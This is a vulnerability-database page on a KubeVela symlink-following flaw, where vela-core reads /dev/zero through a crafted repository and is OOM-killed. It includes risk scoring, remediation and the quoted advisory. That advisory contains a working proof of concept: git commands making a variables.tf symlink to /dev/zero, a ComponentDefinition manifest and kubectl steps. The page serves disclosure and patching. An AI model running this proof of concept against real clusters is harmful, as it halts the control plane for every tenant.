Skip to main content

KubeVela EUVDEUVD-2026-67792

| CVE-2026-55108 HIGH
Improper Link Resolution Before File Access (CWE-59)
2026-08-28 https://github.com/kubevela/kubevela GHSA-fmgp-q6jx-gg3x
8.5
CVSS 3.1 · Vendor: https://github.com/kubevela/kubevela
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker obtains ComponentDefinition RBAC create/update
  2. Delivery
    Push git repo with variables.tf symlink to /dev/zero
  3. Exploit
    Apply ComponentDefinition referencing malicious repo URL
  4. Install
    vela-core clones repo outbound over HTTPS
  5. C2
    os.ReadFile follows symlink, streams /dev/zero indefinitely
  6. Execute
    Controller memory exhausted, pod OOMKilled (exit 137)
  7. Impact
    vela-core enters CrashLoopBackOff, cluster-wide OAM reconciliation halted

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Symlink resolution safety
Exploitation Conditions

Exploitation requires the attacker to hold Kubernetes RBAC create or update permission on core.oam.dev/v1beta1 ComponentDefinition objects in any namespace within the cluster - this is the sole authentication/authorization prerequisite, confirmed by the CVSS PR:L metric. The ComponentDefinition must specify schematic.terraform.type: remote with a configuration URL pointing to a git repository the attacker controls or has compromised; the repository must contain a relative symlink (e.g., variables.tf -> ../../../../../../dev/zero) that resolves to /dev/zero from the controller's clone cache path after checkout. No special network position is required: the controller initiates the git clone outbound to attacker-controlled infrastructure. Exploitation is limited by the ComponentDefinition RBAC prerequisite; in tightly controlled single-tenant clusters where only platform operators hold this permission, exposure is limited to insider threats. In permissive multi-tenant configurations where developer namespaces include ComponentDefinition rights - common in self-service platform setups - this restriction is effectively absent. The attack does not require the Terraform provider to be installed or functional: vela-core's reconciler reads the git-cloned file before any Terraform tooling is invoked.

Impact

The vendor-assigned CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:H, score 8.5) accurately captures the primary risk dimensions: network-reachable via the controller's outbound git clone, no attack complexity, low-privilege RBAC prerequisite, and a scope change that elevates the availability impact to the cluster control plane. EPSS data is absent from the provided intelligence; given the detailed public PoC and the simple exploitation mechanics (a crafted git repository plus a single kubectl apply), real-world exploitation probability should be treated as elevated regardless. No CISA KEV listing has been confirmed. The C:L component reflects a plausible but unconfirmed secondary path-traversal confidentiality risk; the reporter explicitly states that exploiting confidentiality requires HCL parsing success, which the unbounded read physically prevents, so the pure-DoS scenario is the near-certain outcome. The scope change (S:C) is well-justified: the vela-core controller is a singleton managing cluster-wide OAM resources, so its OOMKill disrupts all application reconciliation for the entire cluster, not just the attacker's namespace. In multi-tenant clusters where developer roles hold ComponentDefinition create rights - a common configuration in platform-engineering setups - this is an immediate priority; even a mid-sized platform team operating across multiple namespaces should treat this as urgent, since a single API call converts a routine developer permission into a cluster-wide control-plane outage. The absence of a memory limit on vela-core (common in default Helm installations) widens the blast radius to node-level memory pressure affecting collocated workloads.

Exploit ScenarioDerived

An application developer in a multi-tenant KubeVela cluster who holds create rights on ComponentDefinition pushes a git repository whose root contains a relative symlink variables.tf -> ../../../../../../dev/zero, then applies a ComponentDefinition manifest referencing that repository as a Terraform remote schematic with type: remote. The vela-core controller clones the repository outbound over HTTPS, resolves the symlink via os.Stat (which succeeds), and enters os.ReadFile which streams infinitely from /dev/zero - a complete proof-of-concept including the exact git commands and manifest is publicly available in GHSA-fmgp-q6jx-gg3x. Within seconds the controller pod is OOMKilled (exit code 137) and enters CrashLoopBackOff, halting all OAM application reconciliation cluster-wide until the pod recovers and the attacker removes the ComponentDefinition.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 28, 2026

Unbounded symlink-following in KubeVela's Terraform remote configuration loader allows any principal with ComponentDefinition create/update RBAC rights to OOM-kill the cluster-wide vela-core controller and halt all OAM application reconciliation. The root cause (CWE-59) is that GetTerraformConfigurationFromRemote in pkg/controller/utils/capability.go calls os.ReadFile on a symlink target without verifying the target is a regular file or bounding the read size; a repository containing variables.tf -> /dev/zero is sufficient to exhaust controller memory before HCL parsing is ever reached. No CISA KEV listing has been identified at time of analysis, but a complete proof-of-concept with exact reproduction commands is publicly disclosed in GHSA-fmgp-q6jx-gg3x, materially lowering the exploitation bar.

RemediationAI

Upgrade vela-core to a patched release: v1.9.14 for the stable-1.9 branch, v1.10.9 for the 1.10.x branch, or v1.11.0-alpha.4 for pre-release 1.11.x consumers. Release artifacts are linked from the GitHub Advisory GHSA-fmgp-q6jx-gg3x and at https://github.com/kubevela/kubevela/releases. If immediate patching is not possible, restrict Kubernetes RBAC so that create and update verbs on core.oam.dev/v1beta1 ComponentDefinition are granted only to fully trusted platform operators - this eliminates the attack surface entirely but prevents application teams from self-service registering Terraform remote schematics. As a depth-in-defense measure independent of patching, configure an explicit memory limit (e.g., resources.limits.memory: 512Mi) on the vela-core Deployment; this does not prevent the OOMKill but bounds the blast radius to a controller-pod restart cycle (CrashLoopBackOff) rather than node-wide memory pressure affecting other workloads, at the cost of repeated controller restarts if the attack is sustained. Do not rely solely on the memory limit as a substitute for patching, as the attacker can trigger repeated OOMKills indefinitely.

Affected VersionsENISA

kubevela 1.10.0-alpha.1, < 1.10.9
kubevela < 1.9.14
kubevela 1.11.0-alpha.1, < 1.11.0-alpha.4

Affected Packages

go github.com/oam-dev/kubevela fix: 1.9.14, 1.10.9, 1.11.0-alpha.4
euvd kubevela fix: 1.9.14
euvd kubevela_1_10_0_alpha_1 fix: 1.10.9
euvd kubevela_1_11_0_alpha_1 fix: 1.11.0-alpha.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 4 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

KubeVela is a CNCF application delivery platform built on the Open Application Model (OAM). When a core.oam.dev/v1beta1 ComponentDefinition specifies schematic.terraform.type: remote, the vela-core controller clones the user-supplied git URL and calls GetTerraformConfigurationFromRemote in pkg/controller/utils/capability.go. The function locates variables.tf or main.tf inside the clone cache using os.Stat, then reads the file with os.ReadFile. Both Go standard library calls follow symbolic links by design. CWE-59 (Improper Link Resolution Before File Access) is the root cause class: the code neither checks whether the resolved path is a regular file (as opposed to a device node, pipe, or symlink target), nor whether the resolved path escapes the clone cache directory, nor whether a size bound is enforced before reading. An attacker-controlled repository can therefore include variables.tf as a relative symlink that resolves to /dev/zero after checkout; os.Stat succeeds on a symlink, and os.ReadFile streams from /dev/zero - which never produces EOF - until the controller process is OOM-killed. A secondary path-traversal aspect exists via the terraform.path field and symlinks, but confidentiality impact would require the read data to survive HCL parsing, which the infinite stream prevents. The fixes in PRs #7191 and #7192 (commits 65dedda40a, 7a4e59b295, f6a64398b5) introduce symlink detection and regular-file enforcement before reading, bounded I/O, cache URL integrity markers to prevent stale-clone reuse, and module name validation to block cache path escape via the name field.

Know when Kubernetes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/kubevela/kubevela) PRIMARY 8.5 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:H
vuln.today AI 7.7 HIGH

C:N assigned because confidentiality leak requires HCL parsing success that the unbounded /dev/zero read physically prevents; all other metrics align with vendor vector.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L
SUSE HIGH

Primary rating from Vendor (https://github.com/kubevela/kubevela).

CVSS VectorVendor: https://github.com/kubevela/kubevela

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
High

DescriptionCVE.org

Summary

KubeVela's Terraform remote configuration loader can be abused to make vela-core read an unbounded byte stream into memory, causing an out-of-memory kill and a control-plane denial of service.

The issue is reachable when a user with permission to create or update a core.oam.dev/v1beta1 ComponentDefinition registers a Terraform remote schematic that points to a malicious or compromised git repository. The repository can contain a variables.tf symlink that resolves to /dev/zero after checkout. vela-core follows the symlink and calls os.ReadFile before HCL parsing, so memory grows until the controller is OOM killed.

Details

The affected code is in pkg/controller/utils/capability.go, inside GetTerraformConfigurationFromRemote:

https://github.com/kubevela/kubevela/blob/a24d3a9c6/pkg/controller/utils/capability.go#L231-L242

go
tfPath := filepath.Join(cachePath, remotePath, "variables.tf")
if _, err := os.Stat(tfPath); err != nil {
    tfPath = filepath.Join(cachePath, remotePath, "main.tf")
    if _, err := os.Stat(tfPath); err != nil {
        return "", errors.Wrap(err, "failed to find main.tf or variables.tf in Terraform configurations of the remote repository")
    }
}
conf, err := os.ReadFile(filepath.Clean(tfPath))
if err != nil {
    return "", errors.Wrap(err, "failed to read Terraform configuration")
}

When a ComponentDefinition uses:

yaml
schematic:
  terraform:
    type: remote
    configuration: <git repository URL>

the controller clones the user-supplied git repository and then reads variables.tf or main.tf from the checkout. The read path is built from attacker-controlled repository contents and terraform.path, but the code does not verify:

  • whether the target is a regular file;
  • whether the resolved path remains inside the clone cache;
  • how large the file is before reading it.

Both os.Stat and os.ReadFile follow symlinks. If the repository contains variables.tf -> ../../../../../../dev/zero, then after checkout under the default cache path this symlink resolves to /dev/zero. os.Stat succeeds, and os.ReadFile reads from /dev/zero, which never returns EOF.

The failure happens during os.ReadFile, before the content reaches HCL parsing or ParseTerraformVariables, so later validation cannot prevent the OOM.

This vulnerability also has a path-traversal-like aspect, because symlinks and terraform.path can steer the read target outside the intended repository path. However, exposing arbitrary file contents would require the read data to pass HCL parsing before anything is written to a ConfigMap. Therefore, this report focuses on the availability impact caused by the unbounded read in os.ReadFile before HCL parsing, rather than a confidentiality impact.

PoC

Prerequisites:

  • KubeVela is installed with the default configuration, for example in a kind cluster:
sh
helm install --create-namespace -n vela-system kubevela kubevela/vela-core --wait
  • I reproduced this with oamdev/vela-core:v1.10.8 and a vela-core memory limit of 1Gi.
  • The attacker has create / update permissions for core.oam.dev/v1beta1 ComponentDefinition in any namespace.
  • The tester can create a git repository that vela-core can clone.
  1. Create a test git repository. In the repository root, add a relative variables.tf symlink that resolves to /dev/zero after checkout, then push it:
sh
git init poc-tf-dos && cd poc-tf-dos
ln -s ../../../../../../dev/zero variables.tf
git add variables.tf && git commit -m "poc"
git remote add origin https://github.com/<YOUR_ORG>/<YOUR_REPO>.git
git push -u origin main
  1. Create poc-componentdefinition.yaml. Replace configuration with the repository URL from step 1:
yaml
apiVersion: core.oam.dev/v1beta1
kind: ComponentDefinition
metadata:
  name: dos-tf
  namespace: vela-system
spec:
  workload:
    definition:
      apiVersion: apps/v1
      kind: Deployment
  schematic:
    terraform:
      type: remote
      configuration: https://github.com/<YOUR_ORG>/<YOUR_REPO>.git
      path: ""

The workload GVK should reference a type that exists in the cluster, such as apps/v1 Deployment.

  1. Apply the manifest and observe vela-core:
sh
kubectl apply -f poc-componentdefinition.yaml
kubectl -n vela-system get pods -l app.kubernetes.io/name=vela-core -w
  1. Confirm the OOMKilled termination:
sh
kubectl get pod -n vela-system -l app.kubernetes.io/name=vela-core \
  -o jsonpath='{.items[0].status.containerStatuses[0].lastState.terminated}{"\n"}'

Expected result:

text
"exitCode":137
"reason":"OOMKilled"

The pod may then enter CrashLoopBackOff.

If the reconcile fails with stat .../main.tf: no such file or directory, check that the symlink is relative and resolves to /dev/zero from the checkout location. If the same ComponentDefinition was already reconciled, remove the stale clone cache under /root/.vela/terraform/<name> and retry.

Impact

This is a denial-of-service vulnerability affecting KubeVela control-plane availability.

A user who can create or update ComponentDefinition objects can cause the cluster-wide vela-core controller to be OOM killed.

If vela-core has a memory limit, the impact is likely contained to repeated OOMKilled restarts of the controller Pod. If no effective memory limit is configured, the unbounded read can also pressure node memory and affect other workloads running on the same node.

Technical POC Analysis

CWE-59 (Improper Link Resolution Before File Access / "Link Following"), with CWE-400 (Uncontrolled Resource Consumption) as the consequence.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

KubeVela's Terraform configuration loader contains a symlink-following vulnerability (CVE-2026-55108, CVSS 8.5) enabling attackers with ComponentDefinition permissions to crash the cluster-wide vela-core controller and halt all OAM application reconciliation. Publicly available exploit code exists, substantially lowering the exploitation bar. Organizations running KubeVela face operational downtime without immediate remediation.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.6%
Top 56% exploitable
Prevalence
Medium
popular CNCF Kubernetes application delivery platform, not universally deployed
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.6%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

63
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +42
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2023-3676 HIGH POC
8.8 Oct 31

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2026-34976 CRITICAL POC
10.0 Apr 02

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2026-22039 CRITICAL POC
9.9 Jan 27

Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass

Vendor StatusVendor

SUSE

Severity: Important

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy